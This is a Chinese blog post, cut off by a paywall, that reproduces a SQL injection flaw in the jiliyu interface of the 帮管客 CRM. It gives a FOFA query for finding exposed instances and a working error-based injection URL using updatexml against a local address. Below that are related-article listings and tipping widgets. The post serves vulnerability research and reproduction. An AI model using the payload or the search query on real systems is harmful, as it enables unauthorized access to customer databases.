帮管客CRM jiliyu接口存在SQL漏洞 附POC软件

最新推荐文章于 2024-05-20 10:00:15 发布
最新推荐文章于 2024-05-20 10:00:15 发布
阅读量149 收藏
点赞数
分类专栏： 漏洞复现 文章标签： sql 数据库
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/nnn2188185/article/details/136592125
版权

免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

1. 帮管客CRM简介

微信公众号搜索：南风漏洞复现文库 该文章 南风漏洞复现文库 公众号首发

帮管客CRM

2.漏洞描述

帮管客CRM客户管理系统专注于为企业提供crm客户关系管理、crm管理系统、crm软件产品及企业销售管理流程解决方案服务,助力企业业绩增长。帮管客CRM jiliyu接口存在SQL漏洞

CVE编号:

CNNVD编号:

CNVD编号:

3.影响版本

帮管客CRM

帮管客CRM jiliyu接口存在SQL漏洞

4.fofa查询语句

app="帮管客-CRM"

5.漏洞复现

漏洞链接：http://127.0.0.1/index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7f,(select%20md5(1)),0x7f),1))

漏洞数据包：

GET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timeds
了解本专栏 订阅专栏 解锁全文 超级会员免费看
sublime88
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
专栏目录
订阅专栏
帮管客CRM客户管理系统 v1.0
10-06
面向中小企业的版本，易于安装维护，安全便捷，支持虚拟主机空间。 郑重承诺：本系统无任何后门及其他流氓手段。程序代码加密，不影响正常使用。 系统简介： 帮管客CRM客户
64717帮管客CRM免费版v3.6.0.rar
08-08
64717帮管客CRM免费版v3.6.0环境要求：PHP7.0+Mysql5.5及以上版本，推荐使用phpstudy、宝塔等集成环境（不支持Windows+Nginx的环境，如果服务器是Windows，建议安装Apache，不要安装Nginx） 面向中小企业的免费版本，易于安装维护，安全便捷，支持虚拟主机空间。 郑重承诺：本系统无任何后门及其他流氓手段。程序代码加密，不影响正常使用。 系统简介： 帮管客CRM客户管理系统基于先进的CRM营销理念设计，集客户档案、销售记录、业务往来于一身，以凝聚客户关系、提升资源价值为核心，将潜在客户变为现实客户、从而提升销售量、提高用户的满意度，并增加企业竞争力。帮管客CRM是适用于中小企业的通用型客户关系管理系统，融合了帮管客软件长期从事管理软件开发的丰富经验与先进技术，该系统采用领先的B/S(浏览器/服务器)操作方式，使得网络办公不受地域限制。在功能上注重实用、易用、安全、稳定。在性能方面也表现优异，使用普通PC服务器即可实现百人级别的并发应用。 帮管客CRM客户管理系统 采用基于WEB的企业计算，采用php+MySQL进行开发，性能稳定可靠。数据存取集中控制，避免了数据泄漏的可能。采用加密数据传递参数，保护系统数据安全。多级的权限控制，完善的密码验证与登录机制更加强了系统安全性。 帮管客CRM客户管理系统软件特点： 1.不同账号分配不同权限； 2.所有字段支持自定义设置； 3.客户可转移、共享、移入公海； 4.录入客户相关资料，可随时跟踪客户； 5.快速查看客户的关联信息； 6.客户删除进入回收站，可恢复； 初始管理员用户名和密码为安装时设定的！ 如需重新安装系统，请删除install目录下的install.lock文件，重新安装会清空所有数据。
帮管客CRM客户管理系统
08-14
帮管客CRM客户管理系统基于先进的CRM营销理念设计，集客户档案、销售记录、业务往来于一身，以凝聚客户关系、提升资源价值为核心，将潜在客户变为现实客户、从而提升销售量、提
PHP帮管客CRM客户管理系统 v5.1.0
10-21
帮管客CRM客户管理系统基于先进的CRM营销理念设计，集客户档案、销售记录、业务往来于一身，以凝聚客户关系、提升资源价值为核心，将潜在客户变为现实客户、从而提升销售量、提高用户的满意度，并增加企业竞争力。帮管客CRM是适用于中小企业的通用型客户关系管理系统，融合了帮管客软件长期从事管理软件开发的丰富经验与先进技术，该系统采用领先的B/S(浏览器/服务器)操作方式，使得网络办公不受地域限制。在功能上注重实用、易用、安全、稳定。在性能方面也表现优异，使用普通PC服务器即可实现百人级别的并发应用。 帮管客CRM客户管理系统 采用基于WEB的企业计算，采用php+MySQL进行开发，性能稳定可靠。数据存取集中控制，避免了数据泄漏的可能。采用加密数据传递参数，保护系统数据安全。多级的权限控制，完善的密码验证与登录机制更加强了系统安全性。 帮管客CRM客户管理系统软件特点： 1.不同账号分配不同权限； 2.所有字段支持自定义设置； 3.客户可转移、共享、移入公海； 4.录入客户相关资料，可随时跟踪客户； 5.快速查看客户的关联信息； 6.客户删除进入回收站，可恢复；
帮管客CRM免费版V4.2.2
09-16
帮管客CRM免费版
帮管客 CRM SQL注入漏洞复现
0xSec
11-26 819
帮管客CRM客户管理系统/index.php/message 接口存在 sql 注入漏洞，未经身份认证的攻击者可通过此漏洞获取数据库敏感信息。
帮管客_CRM jiliyu接口 SQL注入漏洞
weixin_43567873的博客
03-15 46
帮管客_CRM jiliyu接口 SQL注入漏洞
帮管客CRM SQL注入漏洞
weixin_52204925的博客
02-03 552
帮管客CRM SQL注入漏洞
帮管客 CRM jiliyu SQL注入漏洞复现
qq_39894062的博客
04-05 416
请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任。本次测试仅供学习使用，如若非法他用，与平台和本文作者无关，需自行负责！
帮管客CRM-jiliyu接口存在SQl注入漏洞
云瀚安行
03-12 597
帮管客CRM是一款基于互联网的客户关系管理软件,主要用于帮助企业管理客户关系、提高销售效率、优化营销策略等。其jiliyu接口存在SQl注入漏洞，攻击者可使用此漏洞通过报错注入获取到数据库数据。
sql server自增id重复解决方案
qq_48817343的博客
05-14 308
sql server自增id重复解决方案
qt中使用QSqlite数据库时，使用QSqlTableModel不显示数据的情况
weixin_43640730的博客
05-14 185
QSqlTableModel需要先打开数据库的连接
零基础小白如何自学sql？
nhb687095的博客
05-18 786
学习SQL对于数据分析和处理来说非常重要。SQL是一种强大的工具，可以帮助你与数据库沟通，提取，整理和理解数据。
SQL:用AI软件来完成sql的存储过程
s1316339343的博客
05-17 916
说明：本章主要使用baidu comate 的AI软件来完成。
父子级分类统计分类下数量sql
pscool的博客
05-19 66
【代码】父子级分类统计分类下数量sql。
使用DBeaver的第2天-使用sql导入数据
2301_78094435的博客
05-14 248
但是如果你执行失败了，多半可能是因为本地没有部署mysql，记住只有本地有mysql才可以执行脚本，否则你只能粘贴脚本，到sql控制台执行了。特别注意，较长的脚本粘贴的话一定会闪退，所以只有安装mysql在本地才能解决这个问题；首先位置一定要放在库上（实例），放在表上可不好使用哦。使用sql导入数据这块我会仔细的说一下。然后点击工具-再点击执行脚本。
sql去除表中某个字段的空格
最新发布
HelloWorld的专栏
05-20 72
比如表中名字字段，名字之间有空格，需要把空格去除，应该如何写SQL语句实现？函数来去除字符串两端的空格，如果需要去除字段中的所有空格，可以使用。以下是一个示例，假设我们有一个名为。的表，并且我们想要去除。在SQL中，可以使用。
Oracle数据库之PL/SQL基本语法（八）
pursue_mony的博客
05-14 114
PL/SQL 是 Oracle 数据库中使用的过程化 SQL 语言扩展，它允许你在 SQL 语句中嵌入控制结构、变量声明、异常处理等。用于在 PL/SQL 块中输出调试信息。为了看到这些信息，你需要在 SQL*Plus 或其他客户端中启用它（例如，使用。PL/SQL 代码通常被组织在块（block）中。一个块包含三个部分：声明部分、执行部分和异常处理部分。包是 PL/SQL 中一种将逻辑、变量、常量、游标、类型、子程序、异常等组合在一起的数据库对象。在 PL/SQL 中，你可以在。部分来处理运行时错误。
市场领先者MySQL的挑战者：PostgreSQL的崛起
Hanko的专栏
05-15 759
最新的DB-Engines的排名，可以看到有个DB的上升趋势非常的猛，那就是PostgreSQL。今天我们就来看看这个数据库。这简介比较霸气：世界上最先进的开源数据库。
写SQL的心得
weixin_64842400的博客
05-11 620
接着，系统按照 GROUP BY 子句中的指定字段分组，并对每个分组进行计算，生成虚拟的分组结果表。执行顺序 ：from > on > where > group by > having > select > distinct > order by > top。4、聚合函数本质：对指定的列进行聚合，如果我们用了group by，我们可以对每个分组应用内聚合函数。在分组内部，聚合函数会自动处理所有重复的行。具体来说，在执行 SELECT 子句时，系统先计算 SELECT 中的列表达式和函数等，然后。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

sublime88

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值